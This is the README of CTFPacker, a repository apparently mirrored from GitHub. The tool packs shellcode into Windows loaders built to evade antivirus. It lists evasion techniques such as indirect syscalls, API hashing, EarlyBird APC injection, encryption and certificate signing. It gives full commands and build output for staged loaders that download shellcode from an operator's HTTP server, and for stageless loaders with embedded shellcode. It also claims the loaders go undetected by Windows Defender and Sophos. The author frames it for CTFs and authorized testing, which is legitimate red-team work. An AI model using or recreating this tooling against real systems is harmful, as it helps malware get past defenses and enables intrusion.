Arthur Minasyan 9be6ae1e97 Update README.md
2025-03-18 18:29:45 +01:00
2025-03-18 18:15:09 +01:00
2025-03-18 04:18:40 +01:00
2025-03-18 04:15:03 +01:00
2025-03-18 18:29:45 +01:00

CTFPacker

 ▄████▄  ▄▄▄█████▓  █████▒██▓███   ▄▄▄       ▄████▄   ██ ▄█▀▓█████  ██▀███  
▒██▀ ▀█  ▓  ██▒ ▓▒▓██   ▒▓██░  ██▒▒████▄    ▒██▀ ▀█   ██▄█▒ ▓█   ▀ ▓██ ▒ ██▒
▒▓█    ▄ ▒ ▓██░ ▒░▒████ ░▓██░ ██▓▒▒██  ▀█▄  ▒▓█    ▄ ▓███▄░ ▒███   ▓██ ░▄█ ▒
▒▓▓▄ ▄██▒░ ▓██▓ ░ ░▓█▒  ░▒██▄█▓▒ ▒░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█  ▄ ▒██▀▀█▄  
▒ ▓███▀ ░  ▒██▒ ░ ░▒█░   ▒██▒ ░  ░ ▓█   ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒
░ ░▒ ▒  ░  ▒ ░░    ▒ ░   ▒▓▒░ ░  ░ ▒▒   ▓▒█░░ ░▒ ▒  ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░
  ░  ▒       ░     ░     ░▒ ░       ▒   ▒▒ ░  ░  ▒   ░ ░▒ ▒░ ░ ░  ░  ░▒ ░ ▒░
░          ░       ░ ░   ░░         ░   ▒   ░        ░ ░░ ░    ░     ░░   ░ 
░ ░                                     ░  ░░ ░      ░  ░      ░  ░   ░     
░                                           ░                               

Table-Of-Contents

Goal

This repository has been created to facilitate AV evasion during CTFs and/or pentest & red team exams. The goal is to focus more on pwning rather than struggeling with evasion !

General Information

Caution

This tool is designed for authorized operations only. I AM NOT RESPONSIBLE FOR YOU ACTIONS. DON'T DO BAD STUFF.

Note

  • The techniques used in the loader are nothing new. The loader generated from this packer will probably NOT evade modern AVs / EDRs. Do not expect that or anything ground breaking.
  • Most of the evasion techniques used here are NOT from me. I just added a bunch of known stuff together and it is enough for CTFs !
  • Depending on the interest shown to this project, I might add some techniques from my own research and maybe expand/rewrite the packer entirely.

Evasion Features

  • Indirect Syscalls via Syswhispers (rewrote in NASM compatible assembly)
  • API Hashing
  • Custom GetProcAddr & GetModuleHandle functions
  • Custom AES-128-CBC mode encryption & decryption
  • EarlyBird APC Injection
  • Possiblity to choose between staged or stageless loader
  • "Polymorphic" behavior with the -s argument

Installation

Depending on your OS, the installation will slightly differ. In general, make sure you have the following stuff installed:

  • CLANG compiler (x86_64-w64-mingw32-clang on linux)
  • MinGW-w64 Toolchain
  • Make

If I am not mistaken, those are by default installed on KALI Linux. However, if you want to install them manually, this should do the trick:

# Assuming Debian based system
sudo apt update
sudo apt install clang mingw-w64 make

# Verify installation
x86_64-w64-mingw32-clang --version
make --version

Itt's a bit different on Windows. You need to install the MinGW-w64 toolchain by installing MSYS2 first.

# Go there and install this
https://www.msys2.org/

# Then
pacman -Syu
pacman -S mingw-w64-x86_64-clang

# Veryify installation
x86_64-w64-mingw32-clang --version

# Install make
pacman -S make

# Verify installation
make --version

You should also check under C:\msys64\mingw64\bin. This is a common place where the toolchain is being installed.

After the basis installation, don't forget to install the python requirements ! Otherwise the packer will not work :D !

# Create a virtual env if you want, or use the --break-system-packages if you're brave enough xD
python3 -m pip install -r requirements.txt --break-system-packages

# The proper way
python3 -m venv env
source env/bin/activate
python3 -m pip install -r requirements.txt

# Once you're done using the tool
deactivate

Makefile

You should NOT modify the Makefile unless you know what you are doing ! BUT, there's one thing you should check after the installation process. The first line of the Makefile indicates your compiler. Verify if the compiler matches with the one you installed earlier on your system. You can refer to the appropriate Makefile (windows / linux) in this repo.

# Verify this line
CLANG    := x86_64-w64-mingw32-clang

Usage

General usage:

usage: main.py [-h] {staged,stageless} ...

CTFPacker

positional arguments:
  {staged,stageless}  Staged or Stageless Payloads
    staged            Staged
    stageless         Stageless

options:
  -h, --help          show this help message and exit

Staged:

usage: main.py staged [-h] -p PAYLOAD -i IP_ADDRESS -po PORT -pa PATH [-o OUTPUT] [-e] [-s] [-si]

options:
  -h, --help            show this help message and exit
  -p PAYLOAD, --payload PAYLOAD
                        Shellcode to be packed
  -i IP_ADDRESS, --ip-address IP_ADDRESS
                        IP address from where your shellcode is gonna be fetched.
  -po PORT, --port PORT
                        Port from where the HTTP connection is gonna fetch your shellcode.
  -pa PATH, --path PATH
                        Path from where your shellcode uis gonna be fetched.
  -o OUTPUT, --output OUTPUT
                        Output path where the shellcode is gonna be saved.
  -e, --encrypt         Encrypt the shellcode via AES-128-CBC.
  -s, --scramble        Scramble the loader's functions and variables.
  -si, --sign           Sign the loader with a random certificate.

Example usage: python main.py staged -p shellcode.bin -i 192.168.1.150 -po 8080 -pa '/shellcode.bin' -o shellcode -e -s -si

Stageless:

usage: main.py stageless [-h] -p PAYLOAD [-o OUTPUT] [-e] [-s] [-si]

options:
  -h, --help            show this help message and exit
  -p PAYLOAD, --payload PAYLOAD
                        Shellcode to be packed
  -o OUTPUT, --output OUTPUT
                        Output path where the loader is gonna be saved.
  -e, --encrypt         Encrypt the shellcode via AES-128-CBC.
  -s, --scramble        Scramble the loader's functions and variables.
  -si, --sign           Sign the loader with a random certificate.

Example usage: python main.py stageless -p shellcode.bin -o shellcode -e -s -si

Staged

When using the staged "mode", the packer will generate you a .bin file named accordingly to your -o arg. With the -pa argument, you are actually telling the loader where on the websever (basically the path) it should search for that .bin file. So TLDR those two values should usually be the same.

Example:

python main.py staged -p "C:\Code\CTFPacker\calc.bin" -i 192.168.2.121 -po 8080 -pa /shellcode.bin -o shellcode -s -si



 ▄████▄  ▄▄▄█████▓  █████▒██▓███   ▄▄▄       ▄████▄   ██ ▄█▀▓█████  ██▀███
▒██▀ ▀█    ██▒ ▓▒▓██   ▒▓██░  ██▒▒████▄    ▒██▀ ▀█   ██▄█▒ ▓█    ▓██  ██▒
▒▓█      ▓██░ ▒░▒████ ░▓██░ ██▓▒▒██  ▀█▄  ▒▓█     ▓███▄░ ▒███   ▓██ ░▄█ 
▒▓▓▄ ▄██▒░ ▓██▓  ░▓█▒  ░▒██▄█▓▒ ▒░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█   ▒██▀▀█▄
 ▓███▀   ▒██▒  ░▒█░   ▒██▒    ▓█   ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒
 ░▒      ░░        ▒▓▒░    ▒▒   ▓▒█░░ ░▒   ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░
                     ░▒           ▒▒         ░▒ ▒░      ░▒  ▒░
                     ░░                        ░░          ░░   
                                        ░░                    
                                           



        Author: B0lg0r0v
        https://arthurminasyan.com

[i] Staged Payload selected.
[+] Starting the process...
[i] Corresponding template selected..
[+] Template files modified !
[i] Encryption not selected.
[+] Compiling the loader...
[i] Scrambling selected.
[+] Scrambling the loader...
[+] Loader scrambled !
[i] Signing selected.
[+] Signing the loader...
rm -f *.o *.obj ctfloader.exe
C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -c api_hashing.c -o api_hashing.o
C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -c download.c -o download.o
C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -c inject.c -o inject.o
C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -c main.c -o main.o
C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -c unhook.c -o unhook.o
C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -c whispers.c -o whispers.o
nasm -f win64   whispers-asm.x64.asm -o whispers-asm.o
C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -o ctfloader.exe api_hashing.o download.o inject.o main.o unhook.o whispers.o whispers-asm.o -Wl,--disable-auto-import -s -lwinhttp -lntdll
Connecting to http://timestamp.sectigo.com
Succeeded
[+] Loader signed !
[+] DONE !

With this command, your telling the loader to connect to the 192.168.2.121 IP, at port 8080 and download the shellcode.bin file. So you should serve this file via a webserver.

C:\Code\CTFPacker\CTF Packer>ls
shellcode.bin

C:\Code\CTFPacker\CTF Packer>python -m http.server 8080
Serving HTTP on :: port 8080 (http://[::]:8080/) ...

Stageless

This is fairly simple. The shellcode will be included into the loader. I recommend you to use the encryption arg -e. Otherwise the signature-based detection will likely catch it.

C:\Code\CTFPacker>ls
core  custom_certs  main.py  requirements.txt templates

C:\Code\CTFPacker>python main.py stageless -p "C:\Code\CTFPacker\calc.bin" -o shellcode -e -s



 ▄████▄  ▄▄▄█████▓  █████▒██▓███   ▄▄▄       ▄████▄   ██ ▄█▀▓█████  ██▀███
▒██▀ ▀█  ▓  ██▒ ▓▒▓██   ▒▓██░  ██▒▒████▄    ▒██▀ ▀█   ██▄█▒ ▓█   ▀ ▓██ ▒ ██▒
▒▓█    ▄ ▒ ▓██░ ▒░▒████ ░▓██░ ██▓▒▒██  ▀█▄  ▒▓█    ▄ ▓███▄░ ▒███   ▓██ ░▄█ ▒
▒▓▓▄ ▄██▒░ ▓██▓ ░ ░▓█▒  ░▒██▄█▓▒ ▒░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█  ▄ ▒██▀▀█▄
▒ ▓███▀ ░  ▒██▒ ░ ░▒█░   ▒██▒ ░  ░ ▓█   ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒
░ ░▒ ▒  ░  ▒ ░░    ▒ ░   ▒▓▒░ ░  ░ ▒▒   ▓▒█░░ ░▒ ▒  ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░
  ░  ▒       ░     ░     ░▒ ░       ▒   ▒▒ ░  ░  ▒   ░ ░▒ ▒░ ░ ░  ░  ░▒ ░ ▒░
░          ░       ░ ░   ░░         ░   ▒   ░        ░ ░░ ░    ░     ░░   ░
░ ░                                     ░  ░░ ░      ░  ░      ░  ░   ░
░                                           ░



        Author: B0lg0r0v
        https://arthurminasyan.com

[i] Stageless Payload selected.
[+] Starting the process...
[+] Template files modified !
[i] Encryption selected.
[+] Encrypting the payload...
[+] Payload encrypted and saved into payload[] variable in main.c !
[i] Scrambling selected.
[+] Scrambling the loader...
[+] Loader scrambled !
rm -f *.o *.obj ctfloader.exe
C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -c api_hashing.c -o api_hashing.o
C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -c inject.c -o inject.o
C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -c main.c -o main.o
C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -c unhook.c -o unhook.o
C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -c whispers.c -o whispers.o
nasm -f win64   whispers-asm.x64.asm -o whispers-asm.o
C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -o ctfloader.exe api_hashing.o inject.o main.o unhook.o whispers.o whispers-asm.o -Wl,--disable-auto-import -s -lwinhttp -lntdll
[+] Loader compiled !
[+] DONE !

C:\Code\CTFPacker>ls
core  ctfloader.exe  custom_certs  main.py  requirements.txt  shellcode.bin  templates

To-Do

  • Maybe adding a setup.py file to install via pip / pipx
  • Other templates with different injection techniques
  • Adding AMSI / ETW bypass (depends on what injection technique I am going to put here)

Detections

  • Undetected on the latest Windows 11 Defender (2025-03-18, Version 1.425.89.0)
  • Undetected on Windows 10 Defender
  • Undetected on the latest Sophos Home Premium (Version 2023.2.2.2) image

Credits - References

Most of the code is not from me. Here are the original authors:

@ Maldevacademy     - https://maldevacademy.com
@ SaadAhla          - https://github.com/SaadAhla/ntdlll-unhooking-collection
@ VX-Underground    - https://github.com/vxunderground/VX-API/blob/main/VX-API/GetProcAddressDjb2.cpp
@ klezVirus         - https://github.com/klezVirus/SysWhispers3
S
Description
Automated archival mirror of github.com/mochabyte0x/CTFPacker
Readme MIT 631 KiB
Languages
C 51.6%
Python 38.8%
Shell 4.9%
Makefile 3.5%
Assembly 1.2%